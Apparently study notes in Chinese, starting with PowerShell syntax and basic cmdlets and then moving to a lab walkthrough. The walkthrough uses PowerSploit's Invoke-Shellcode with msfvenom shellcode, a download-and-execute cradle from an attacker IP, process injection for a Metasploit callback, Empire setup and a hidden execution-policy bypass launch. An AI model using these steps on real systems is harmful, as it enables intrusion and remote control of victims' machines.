powershell
一、语法
powershell===>相当于强化版的cmd
语法与php相似
变量设置 和php 十分类似
函数也十分相似,在调用的时候不加括号
函数
当>10 的时候 打印 bigger than 10
否则 打印 less than or equal 10
function judgeNum($a){
if($a -gt 10){
echo 'bigger than 10';
}else{
echo 'less than or equal 10';
}
};
judgeNum 15
Windows PowerShell ISE 相当于一个编辑器吧
判断100以内的质数 并且打印
只能被1和自身整除的数字 就是质数,1不是质数
function test($a,$b){
function isPrise($num){
for($i=2;$i -lt $num;$i++){
if($num % $i -eq 0){
return 0;
}
}
return 1;
}
for($j=$a;$j -le $b;$j++){
if($j -eq 1){
continue;
}else{
if(isPrise $j -eq 1){
echo $j;
}
}
}
}
test 1 100
二、ps1文件
文件名后缀为ps1的文件为powershell可运行的文件
windows 默认禁止运行脚本,与执行策略有关
Get-ExecutionPolicy 获取执行策略
1.Restricted 脚本不能执行
2.RemoteSigned:本地创建的脚本可以执行,但从网上下载的不能(有数字证书的除外)
3.AllSigned:仅当脚本由受信任的发布者签名时才能运行
4.Unrestricted:允许所有script脚本执行
Set-ExecutionPolicy 策略 设置选择使用的策略
Set-ExecutionPolicy Unrestricted
三、基础使用
1. Get-Help
Get-Help 主题 Windows PowerShell 帮助系统
加在其它命令前面,获取命令使用相关的帮助信息,类似于-h,–help这些
如果遇到不会使用的命令,直接在前面加上Get-Help,就可以知道怎么使用了
2. Get-Process
Get-Process 获取指定的进程
直接输入Get-Process就行
作用相当于ps
3. Get-Alias
Get-Alias 获取当前会话中的所有别名
Get-Alias cd
4. start-process
start-process 开启一个进程
start-process calc.exe
start-process C:\Windows\System32\calc.exe
四、powersploit
powersploit是一个模块的工具集合
模块分析:
CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
Privesc 跟权限提升有关的脚本
这里主要测试 CodeExecution 在目标主机执行代码
模拟测试
目标靶机win7,说是老版本的系统可以引入模块
(1) 在win7下载powersploit工具
(2) 进入CodeExecution代码执行里面,找到Invoke-Shellcode.ps1文件
这个文件相当于shllcode加载器
shellcode想要执行,必须使用加载器
shellcode ===> 核心的一小段代码 该代码可以实现想要实现的功能
payload = shellcode加载器+shellcode
(3) 在kali里面使用msfvenom生成一个powershell脚本,并且开启映射,使靶机可以远程加载这个文件
脚本里面放的shellcode powershell版
以数组的形式存储着
而且使十六进制存储
值赋给了变量$buf
(4) 在win7靶机,以管理员身份运行powershell,切换到CodeExecution目录下,引入模块
Import-Module .\Invoke-Shellcode.ps1
(5) 引入模块之后,远程加载文件
IEX (New-Object Net.WebClient).DownloadString('http://192.168.11.131:7979/test.txt')
iex ==> Invoke-Expression 调用表达式
相当于powershell eval 动态执行powershell指令
(6) 最后先msf开启监听
然后执行shellcode,并注入到进程中
之后等待msf回连
Invoke-Shellcode -Shellcode @($buf) -ProcessId 后面跟pid
原则上是一个一个程序试,就拿calc.exe举例,注入之后,容易使原程序崩溃,并且msf那么没有产生回连
这里我试出了可以会连的程序,需要打开IE浏览器,最后成功回连
五、empire
docker run -it -p 1337:1337 -p 5000:5000 -p 12346:12346 bcsecurity/empire:latest
docker exec -it 0c2bffd03ddd ./ps-empire client
python3 -m http.server 8787
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden –NoLogo –NonInteractive –NoProfile .\1.ps1